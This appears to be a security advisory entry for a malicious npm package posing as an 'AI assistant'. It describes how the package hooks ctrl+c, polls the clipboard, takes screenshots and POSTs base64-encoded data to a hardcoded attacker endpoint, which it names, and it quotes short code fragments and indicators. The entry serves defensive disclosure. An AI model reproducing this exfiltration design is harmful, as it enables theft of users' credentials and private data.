GCVE-110-OSM-2026-10605

The package installs a global keyboard hook (keyboard.add_hotkey on ctrl+c), polls the system clipboard every 300ms via pyperclip.paste(), and captures full-screen screenshots via ImageGrab.grab(). The captured clipboard text and base64-encoded JPEG screenshots are POSTed to a hardcoded endpoint at https://nodetk.vercel.app/api (API_URL constant, session.post(API_URL, json={'image': img_data,...})). The destination is not caller-configurable; any user of the advertised 'AI assistant' functionality unavoidably ships their clipboard contents and screen captures through the author-controlled Vercel deployment. Clipboard and screen contents commonly include credentials, session tokens, private messages, and other sensitive material, so this constitutes an installer-side data exfiltration channel disguised as an assistant feature. ENTRY launcher.js (bin: launcher.js) DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Data Encoding for Exfiltration in client/noderzero.py: "base64.b64encode(" ADDITIONAL FINDINGS - Clipboard Access in client/noderzero.py: "pyperclip.paste()" - Shell Command Execution in launcher.js: "require('child_process')" - Silent Process Execution in launcher.js: "stdio: 'ignore'" - Very New NPM Publisher Account PAYLOAD FILES client/noderzero.py (+ launcher.js)